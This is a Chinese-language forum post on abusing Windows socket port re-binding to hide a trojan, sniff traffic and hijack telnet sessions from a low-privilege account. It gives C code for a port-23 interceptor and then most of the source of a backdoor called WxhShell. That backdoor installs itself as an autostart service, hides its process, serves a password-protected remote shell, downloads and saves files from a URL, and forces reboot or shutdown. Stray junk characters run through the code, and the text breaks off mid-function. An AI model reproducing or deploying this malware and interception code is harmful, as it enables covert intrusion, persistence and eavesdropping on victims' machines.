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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hq&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;nAg4ll8Q  
j4 &  
  saddr.sin_family = AF_INET;  t3yQ/  
-Uhl9 =  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mw4'z,1Q  
%RT6~0z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4 L~;>]7  
6{Cu~G{]N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kgbr+Yw2X  
BF1O|Q|d6  
  这意味着什么?意味着可以进行如下的攻击: ^&Rxui  
Dry;$C}P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0u&?Zy9&  
OV@h$fg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j O5:{%  
65`'Upu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xjn8)C  
&Ow?Hd0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [:hy  
}9+1<mT9a/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g]PLW3  
^6NABXL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GYb2m"a)  
Xw}Y!;<IEu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /x8C70W^  
YV_I-l0  
  #include ??e#E[bI  
  #include 5z(>4d!  
  #include V.a]IkK'K  
  #include    p ra-8z-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8IIdNd  
  int main() e#eO`bT  
  { <"|<)BGeI  
  WORD wVersionRequested; ]v,y(yl  
  DWORD ret; !L.z4n,n+  
  WSADATA wsaData; r1[T:B'  
  BOOL val; }${ZI  
  SOCKADDR_IN saddr; <~8f0+"  
  SOCKADDR_IN scaddr; Q,qylL  
  int err; zvs 2j"lb  
  SOCKET s; K|J#/  
  SOCKET sc; <x;[ H%  
  int caddsize; yar IR|  
  HANDLE mt; }lvP|6Y: y  
  DWORD tid;   S0QU@e  
  wVersionRequested = MAKEWORD( 2, 2 ); "BNmpP  
  err = WSAStartup( wVersionRequested, &wsaData ); Ywb)h^{!  
  if ( err != 0 ) { &i}cC4i   
  printf("error!WSAStartup failed!\n"); 0c;"bA0>Sx  
  return -1; eMd1%/[  
  } *oJ>4S  
  saddr.sin_family = AF_INET; g$+O<a@n  
   qmeEUch`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /<Nt$n  
@5@{Es1u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |2]WA'q  
  saddr.sin_port = htons(23); xMGd'l?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e&7}N Za  
  { DppvUiQB!a  
  printf("error!socket failed!\n"); #^ [N4uV  
  return -1; rTiuQdvo  
  } w8@|b}  
  val = TRUE; [5#/& k{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %;B'>$O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2/gj@>dt  
  { }Nc!8'@  
  printf("error!setsockopt failed!\n"); %+JTQy  
  return -1; BTQC1;;N  
  } 1{glRY'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |,~A9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DL Q`<aU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  o|im  
pKlT.<X7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G7{:d  
  { 6Z}))*3 9  
  ret=GetLastError(); f6C+2L+Hr  
  printf("error!bind failed!\n"); ~ a&j4E  
  return -1; +~AI(h  
  }  } R6h  
  listen(s,2); !@ '2  
  while(1) F!t13%yeu?  
  { nvs7s0@Fqe  
  caddsize = sizeof(scaddr); a2FIFWvW  
  //接受连接请求 e;3 (,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nr+1N83S}  
  if(sc!=INVALID_SOCKET) c$z_Zi!g#  
  { R;ug+N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w`_9*AF9  
  if(mt==NULL) c?Qg :yU  
  { 'gH#\he[Dh  
  printf("Thread Creat Failed!\n"); e5]0<s$  
  break; 5!%/j,?  
  } fX|,s2-FW  
  } 5ZxBmQ  
  CloseHandle(mt); g?M69~G$:x  
  } =Z$6+^L  
  closesocket(s); GTe9@d  
  WSACleanup(); Vs{sB*:  
  return 0; ti% e.p0[  
  }   V> SA3  
  DWORD WINAPI ClientThread(LPVOID lpParam) GUX X|W[6  
  { =@MKU  
  SOCKET ss = (SOCKET)lpParam; sl 5wX  
  SOCKET sc; ~h.B\Sc]Q  
  unsigned char buf[4096]; ugP R)tDfM  
  SOCKADDR_IN saddr; \59hW%Di  
  long num;  i9"1  
  DWORD val; XrF9*>ti?  
  DWORD ret; df\>-Hl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?H?r!MZ%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;0E 4S  
  saddr.sin_family = AF_INET; aQ. \!&U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JN!YRcj  
  saddr.sin_port = htons(23); jnY4(B   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D bJ(N h  
  { 0qd`Pf   
  printf("error!socket failed!\n"); Az[z} r4  
  return -1; )-oNy-YL  
  } rz*Jmn b  
  val = 100; 10 ^=1@U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Af~AE2b3"  
  { )M~5F,)  
  ret = GetLastError(); J)]W[Nk  
  return -1; 7;{F"/A  
  } P/ 5r(l5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }Of^Y@{q.  
  { ;Wdo*ysW  
  ret = GetLastError(); WYL.J5O  
  return -1; :08UeEy  
  } Tj:F Qnx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^M"g5+ q  
  { e{=$4F  
  printf("error!socket connect failed!\n"); "+AD+D  
  closesocket(sc); 1+'3{m \5T  
  closesocket(ss); lk|/N^8M  
  return -1; _U %B1s3y  
  } y\x<!_&D  
  while(1) |Z;Av%%  
  { sr4K-|@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M=%p$\x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p-Ju&4fS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1mqFnVkf&+  
  num = recv(ss,buf,4096,0); .1;?#t]ZV  
  if(num>0) O{PRK5^h  
  send(sc,buf,num,0); )? xg=o/?  
  else if(num==0) 4|qp&%9-  
  break; &oBJY'1  
  num = recv(sc,buf,4096,0); SWt"QqBU  
  if(num>0) %{Gqhb=u\  
  send(ss,buf,num,0); +t f=  
  else if(num==0) 2B# \683  
  break; 9Bn dbS i  
  } +x`tvo  
  closesocket(ss); ]?2AFkF  
  closesocket(sc); BLRrHaX0  
  return 0 ; +_<# 8v  
  } *T3"U|0_y  
V+Z22  
J0`?g6aY  
========================================================== pw,.*N3P  
2-]m#}zbP  
下边附上一个代码,,WXhSHELL C/XOI >  
b$BUo8O}  
========================================================== :?,& u,8  
5HB4B <2  
#include "stdafx.h" aPbHrk*/  
5v]xk?Eb  
#include <stdio.h> nv={.H  
#include <string.h> XH/|jE.9^|  
#include <windows.h> 9wYbY* j  
#include <winsock2.h> = #`FXO1C  
#include <winsvc.h> =y<Fz*aA  
#include <urlmon.h> @`T6\ 1  
,{%[/#~6  
#pragma comment (lib, "Ws2_32.lib") %V$^CWOy  
#pragma comment (lib, "urlmon.lib") &CS=*)>$  
*Q)+Y&qn  
#define MAX_USER   100 // 最大客户端连接数 XjV7Ew^7  
#define BUF_SOCK   200 // sock buffer NIgt"o[I  
#define KEY_BUFF   255 // 输入 buffer N7NK1<vw2  
vt1!|2{ h  
#define REBOOT     0   // 重启 $h2h&6mH  
#define SHUTDOWN   1   // 关机 ;gF"o5/Q  
zpY8w#b  
#define DEF_PORT   5000 // 监听端口 GK)hK-  
g}f@8;TY  
#define REG_LEN     16   // 注册表键长度 @E}4LTB  
#define SVC_LEN     80   // NT服务名长度  ;HW@ZI  
MQI6e".  
// 从dll定义API ^*ZO@GNL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a+Z/=YUR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RW3&]l=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $+Xohtt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i6[Hu8  
cc@y  
// wxhshell配置信息 \E n^Vf  
struct WSCFG { bk V_ ^8  
  int ws_port;         // 监听端口 V%"aU}   
  char ws_passstr[REG_LEN]; // 口令 x]F:~(P  
  int ws_autoins;       // 安装标记, 1=yes 0=no qLcs)&}/A  
  char ws_regname[REG_LEN]; // 注册表键名 rK"x92P0  
  char ws_svcname[REG_LEN]; // 服务名 i`X/d=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H=*;3gM,'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 huO_ARwK'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +"Ka #Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SoCa_9*X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" emTqbO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qg|SBQ?6  
9OX&;O+5  
}; X'O3)Yg  
KZ&{Ya  
// default Wxhshell configuration F6yMk%  
struct WSCFG wscfg={DEF_PORT, 3d[fP#NY7  
    "xuhuanlingzhe", c!b4Y4eJ  
    1, xse8fGs  
    "Wxhshell", Uh{|@D  
    "Wxhshell", kid@*.I  
            "WxhShell Service", a8NL  
    "Wrsky Windows CmdShell Service", )A,M T i  
    "Please Input Your Password: ", I t",WFE.  
  1,  {ZB7,\  
  "http://www.wrsky.com/wxhshell.exe", jruwdm^  
  "Wxhshell.exe" SIVzc Hm  
    }; \Gg6&:Ua  
[8[g_  
// 消息定义模块 uvi+#4~G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M/T ll]\|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xO{yr[x"L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YB*I'm3q  
char *msg_ws_ext="\n\rExit."; mSr(PIH{\  
char *msg_ws_end="\n\rQuit."; @w?hX K=  
char *msg_ws_boot="\n\rReboot..."; )k$ +T%  
char *msg_ws_poff="\n\rShutdown..."; yC pU1 73V  
char *msg_ws_down="\n\rSave to "; E {*d`n  
)CKPzNf  
char *msg_ws_err="\n\rErr!"; t[ cHdI  
char *msg_ws_ok="\n\rOK!"; C8ek{o)%W  
"dQ02y  
char ExeFile[MAX_PATH]; P9c!   
int nUser = 0; h8'`g 0  
HANDLE handles[MAX_USER]; vq=nG]cE)  
int OsIsNt; k^K>*mcJ  
l$ ^LY)i  
SERVICE_STATUS       serviceStatus; n3 y`='D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vnc- W3N  
hv (>9N  
// 函数声明 v[57LB  
int Install(void); Qh3BI?GZ'3  
int Uninstall(void); ZMEU4?F  
int DownloadFile(char *sURL, SOCKET wsh); *MC+i$  
int Boot(int flag); ip8%9fG\>  
void HideProc(void); wwaw|$  
int GetOsVer(void); e*)*__$O  
int Wxhshell(SOCKET wsl); $ra q,SP  
void TalkWithClient(void *cs); (X zy~l<  
int CmdShell(SOCKET sock); v(=?@ tF}E  
int StartFromService(void); ;S0Kf{DN2  
int StartWxhshell(LPSTR lpCmdLine); ?sD4S   
37<^Oly!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z* k(` '  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G{CKb{  
N(s5YX7<hd  
// 数据结构和表定义 SFJ"(ey$  
SERVICE_TABLE_ENTRY DispatchTable[] = }iIZA>eF  
{ *\gYs{,  
{wscfg.ws_svcname, NTServiceMain}, '9u(9S  
{NULL, NULL} HQ:Y:  
}; 3LRBH+Tt  
Xrl# DN  
// 自我安装 YC[c QX  
int Install(void) 7w\L<vFm  
{ @B \$ me  
  char svExeFile[MAX_PATH]; V9Pw\K!w#\  
  HKEY key; cS#yfN,  
  strcpy(svExeFile,ExeFile); k:[T#/;  
n{$! ]^>  
// 如果是win9x系统,修改注册表设为自启动 rHiBW!  
if(!OsIsNt) { Q2qT[aD,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'C7$,H'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wU(p_G3  
  RegCloseKey(key); "O~7s}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O\F$~YQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); = IJ}b=:  
  RegCloseKey(key); +\-cf,WkI  
  return 0; [>D5(O  
    } \AeM=K6q+D  
  } mor[AJ  
} ~^bf1W[  
else { T*z*x=<5  
 qC6@  
// 如果是NT以上系统,安装为系统服务 f|6 Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m<sCRWa-  
if (schSCManager!=0) @4G{L8Q}  
{ Dy&{PeE!  
  SC_HANDLE schService = CreateService H1c>3c  
  ( 068DC_  
  schSCManager, {4{X`$  
  wscfg.ws_svcname, U1Y0G[i)  
  wscfg.ws_svcdisp, {8 #  
  SERVICE_ALL_ACCESS, CHyT'RT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^EJ]LNk }  
  SERVICE_AUTO_START,  {b|V;/  
  SERVICE_ERROR_NORMAL, RK/>5  
  svExeFile, ka@yQV  
  NULL, cJ\ 1ndBH  
  NULL, 3N ?"s1U  
  NULL, 4C[kj  
  NULL, dDA,Ps  
  NULL ;OC{B}.vH  
  ); (%'`t(<  
  if (schService!=0) 8=)9ZjfD  
  { %Z8wUG  
  CloseServiceHandle(schService); 9a#Y D;-p  
  CloseServiceHandle(schSCManager); BCO (,k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~l('ly  
  strcat(svExeFile,wscfg.ws_svcname); >y+?Sz!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gd`s01GKQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .pG`/[*a  
  RegCloseKey(key); z SjZTA/Z  
  return 0; 5S[:;o  
    } mA#;6?6  
  } dt0(04  
  CloseServiceHandle(schSCManager); Gzp*Vr  
} g'Wr+( A_  
} 2UopGxrPKw  
.e4upT GU  
return 1; k(xB%>ns  
} w4FYd  
>3,}^`l  
// 自我卸载 ..x 2  
int Uninstall(void) TEla?N  
{ dGUiMix{N  
  HKEY key; a^Z=xlJ/uZ  
1+ [,eq  
if(!OsIsNt) { If8Lt}-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g][n1$%  
  RegDeleteValue(key,wscfg.ws_regname); Q3'P<"u  
  RegCloseKey(key); sX ]gL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'J)9#  
  RegDeleteValue(key,wscfg.ws_regname); Zq 'FOzs  
  RegCloseKey(key); E2tUL#  
  return 0; Ff d4c  
  } `<#O8,7`  
} Esm=sPW  
} efuiFN;  
else { P~V ^Efz{  
P F);KQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t*fH&8(  
if (schSCManager!=0) HdyE`FY\  
{ Nrq/Pkmy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $oJjgAxcZ  
  if (schService!=0) v?}rA%so  
  { '@zMZc!  
  if(DeleteService(schService)!=0) { F0"("4h:  
  CloseServiceHandle(schService); '+GY6Ecg  
  CloseServiceHandle(schSCManager); ;2[OI  
  return 0; rCb$^(w{7  
  } \tA@A  
  CloseServiceHandle(schService); =iB$4d2  
  } 5k?xBk=<  
  CloseServiceHandle(schSCManager); BqpJvRJd  
} OB++5Wd  
} p@h<u!rL8  
%$bhg&}  
return 1; =$T[  
} ?0-3J )kW  
-=n!k^?lK  
// 从指定url下载文件 b2RW=m-  
int DownloadFile(char *sURL, SOCKET wsh) I]42R;Sc  
{ ~mZ[@ Z  
  HRESULT hr; 3JD"* <zs  
char seps[]= "/"; b?<@  
char *token; zm_8{Rta}  
char *file; 7mn&w$MS4:  
char myURL[MAX_PATH]; "*S_wN%  
char myFILE[MAX_PATH]; {DE4PE`  
e&K7n@  
strcpy(myURL,sURL); h\5~&}Hp  
  token=strtok(myURL,seps); BAG#YZB  
  while(token!=NULL) ')iyD5/4  
  { oW>e.}d!  
    file=token; k4en/&  
  token=strtok(NULL,seps); {bC(>k|CQ  
  } ? :A%$T  
T hVq5  
GetCurrentDirectory(MAX_PATH,myFILE); i?V:+0#q\]  
strcat(myFILE, "\\"); b/tc D r  
strcat(myFILE, file); iQgr8[ SFf  
  send(wsh,myFILE,strlen(myFILE),0); tVNFulcz$  
send(wsh,"...",3,0); Fr<tk^~/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J<9}) m  
  if(hr==S_OK) k9&W0$I#  
return 0; =AF;3  
else 07\]8^/G  
return 1; IU"n`HS  
D+w ?  
} %6&c3,?U\n  
m!(dk]  
// 系统电源模块 BFqM6_/J  
int Boot(int flag) ]w]:9w  
{ d6zq,x!cI  
  HANDLE hToken; TXbi>t:/S{  
  TOKEN_PRIVILEGES tkp; j*~z.Q|  
+xU=7chA  
  if(OsIsNt) { Y$fF"p G?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /8,cF7XL*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #8%~u+"N  
    tkp.PrivilegeCount = 1; %+(fdk-k+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G*-7}7OAs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !nQoz^_`P  
if(flag==REBOOT) { ++!0r['+ >  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3g0v,7,Zv  
  return 0; v5FfxDvw  
} ,fhwDqR ?  
else { }!WuJz"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hy3?.  
  return 0; $SzuUI  
} BtQqUk#L2  
  } N`vPt?@  
  else { &}0#(Fa`  
if(flag==REBOOT) { J$(79gH{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2W/*1K}  
  return 0; }9Q<<a  
} 9 vNz yh\  
else { y )7;"3Q<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (cp$poo  
  return 0; "Fxw"I <  
} H$,wg!kY!  
} Mu_'C$zA  
j$k/oQ  
return 1; h|EHK!<"8  
} c}2"X,  
O5JG!bGE_F  
// win9x进程隐藏模块 T 0?9F2  
void HideProc(void) TezwcFqH  
{ D)eRk0iC  
k[1w] l8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }5u;'>$  
  if ( hKernel != NULL ) "ZG2olOqLI  
  { sv#/78~|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bhCAx W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D ~NWP%H  
    FreeLibrary(hKernel); +4k4z:<n  
  } 3e|,Z'4}4  
%z["TVH  
return; o H]FT{  
} Y_nlIcu  
e!4Kl:  
// 获取操作系统版本 FNXVd/{M3  
int GetOsVer(void) T{Yk/Z/}?  
{ `^DP<&{  
  OSVERSIONINFO winfo; .U,>Qn4/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (FOJHjtkM  
  GetVersionEx(&winfo); ,fyqa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Pg@%>yb~  
  return 1; _/F}y[B7d  
  else 'WoB\y569  
  return 0; D 6F /9|  
} mtNB09E(  
NqN9  
// 客户端句柄模块 `e+eL*rZ~  
int Wxhshell(SOCKET wsl) +/Vzw  
{ {ALOs^_-  
  SOCKET wsh; ~#iAW@  
  struct sockaddr_in client; 'h{DjNSM  
  DWORD myID; (9!kKMQW'  
E>qehs,g  
  while(nUser<MAX_USER) =L}$#Y8?  
{ q<A,S8'm  
  int nSize=sizeof(client); *q(HW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yx/qp<=  
  if(wsh==INVALID_SOCKET) return 1; ]w9syz8X  
avH3{V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); - o sxKT:  
if(handles[nUser]==0) uszMzO~  
  closesocket(wsh); R]_fe4Y0  
else 8j!(*'J.  
  nUser++; L&~>(/*7U  
  } "RsH'`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "yxBD 7  
pPZ^T5-ks  
  return 0; NKw}VW'|  
} `jCq`-.  
wGA%h.[M|  
// 关闭 socket P+;@?ofB  
void CloseIt(SOCKET wsh) r#K"d  
{ F84?Mi{r2  
closesocket(wsh); Gh9dv|m=[;  
nUser--; Q$DF3[NC  
ExitThread(0); }#U3vMx(  
} ]ch=D  
%q,^A+=  
// 客户端请求句柄 (Zu V5|N  
void TalkWithClient(void *cs) JZrUl^8E  
{ U*em)/9  
,=p.Cx'PR  
  SOCKET wsh=(SOCKET)cs; %uhhQ<zs%  
  char pwd[SVC_LEN]; ;={Z Bx  
  char cmd[KEY_BUFF]; dCM*4B<  
char chr[1]; &b&o];a  
int i,j; _d/ZaCx'i  
U9p^?\-=  
  while (nUser < MAX_USER) { E|Z7art  
$U/_8^6B0  
if(wscfg.ws_passstr) { |qsY0zx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 }sj&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dbo.N`  
  //ZeroMemory(pwd,KEY_BUFF); XD\Z$\UJE  
      i=0; xF3H\`{4x  
  while(i<SVC_LEN) { yLlAK,5P0o  
C\dlQQ  
  // 设置超时 S+YbsLf  
  fd_set FdRead; in6iJ*E@'  
  struct timeval TimeOut; \4`2k  
  FD_ZERO(&FdRead); o<-+y\J8K  
  FD_SET(wsh,&FdRead); 3M&75OE  
  TimeOut.tv_sec=8; %U)M?UNjw  
  TimeOut.tv_usec=0; zdUi1 b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @*c ) s_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +2ih!$T;7>  
H;n(qBSB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D0&{iZ(  
  pwd=chr[0]; OAQ'/{~7  
  if(chr[0]==0xd || chr[0]==0xa) { q}["Nww-  
  pwd=0; RFu]vFff  
  break; 2O5yS  
  } f V.(v&  
  i++; AcF;5h  
    } ^MWfFpJV!]  
s"?&`S  
  // 如果是非法用户,关闭 socket U)p P^:|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r8 M/E lbk  
} _dEf@==  
|JL47FR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +:[dviyPt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Om0S^4y]x  
!m1pL0  
while(1) { QE5 85s5  
|[TH ~ o  
  ZeroMemory(cmd,KEY_BUFF); F77[fp  
/=\__$l)  
      // 自动支持客户端 telnet标准   T+2I:W%  
  j=0; :OBggb#?!  
  while(j<KEY_BUFF) { )x"Z$jIs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qhpq\[U6in  
  cmd[j]=chr[0]; 0r=Lilu{q  
  if(chr[0]==0xa || chr[0]==0xd) { <S0!$.Kg*<  
  cmd[j]=0; >|7&hj$  
  break; 4#=!VK8ZH  
  } @Cm"lv.hz  
  j++; *(d^ k;  
    } $zz=>BOk  
~%Yh`c EP  
  // 下载文件 Ye!=  
  if(strstr(cmd,"http://")) { yZFv pw|g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^m8\fCA*  
  if(DownloadFile(cmd,wsh)) b)w3 G%Xx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rf1nC$Sop  
  else L*h X_8J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =GM!M@~,Ab  
  } !1"~tA!+p=  
  else { L +.K}w  
B?Y%y@.  
    switch(cmd[0]) { /yrR f;}<O  
  5'V'~Q%  
  // 帮助 .#WF'  
  case '?': { +bf%]   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +S%@/q  
    break; 5I(` s#O  
  } Z*]n]eS  
  // 安装 NK#Dq&W+&  
  case 'i': { D|-]"(2i  
    if(Install()) ]P<&CEk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }>frK#S  
    else gi;V~>kh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )cs y^-qw  
    break; R#\8jvv  
    } PL+fLCk,I  
  // 卸载 `(o1&  
  case 'r': { i,yK&*>JJ  
    if(Uninstall()) "F[VqqD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #{ Uk4  
    else 4qm5`o\hb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bNaJ{Dm$R  
    break; {&h&:  
    } =$`DBLX   
  // 显示 wxhshell 所在路径 p-(Z[G*  
  case 'p': { :Dr& {3>  
    char svExeFile[MAX_PATH]; :&or'Yi}  
    strcpy(svExeFile,"\n\r"); 1@nR.v"$  
      strcat(svExeFile,ExeFile); nW drVT$  
        send(wsh,svExeFile,strlen(svExeFile),0); s9E:6  
    break; nev*TYY?A  
    } BEI/OGp  
  // 重启 *V"cu  
  case 'b': { IYCKF/2o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VhW;=y>}  
    if(Boot(REBOOT)) zA"D0fr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dIpt&nH&$  
    else { %MjPQ  
    closesocket(wsh); !<YRocQY  
    ExitThread(0); ASYUKh,h  
    } \ qs6%  
    break; %DV@2rC<  
    } ]nQ$:%HP  
  // 关机 x# YOz7.  
  case 'd': { Q[b({Vj;tG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h ?ia4t  
    if(Boot(SHUTDOWN)) O\D({>  
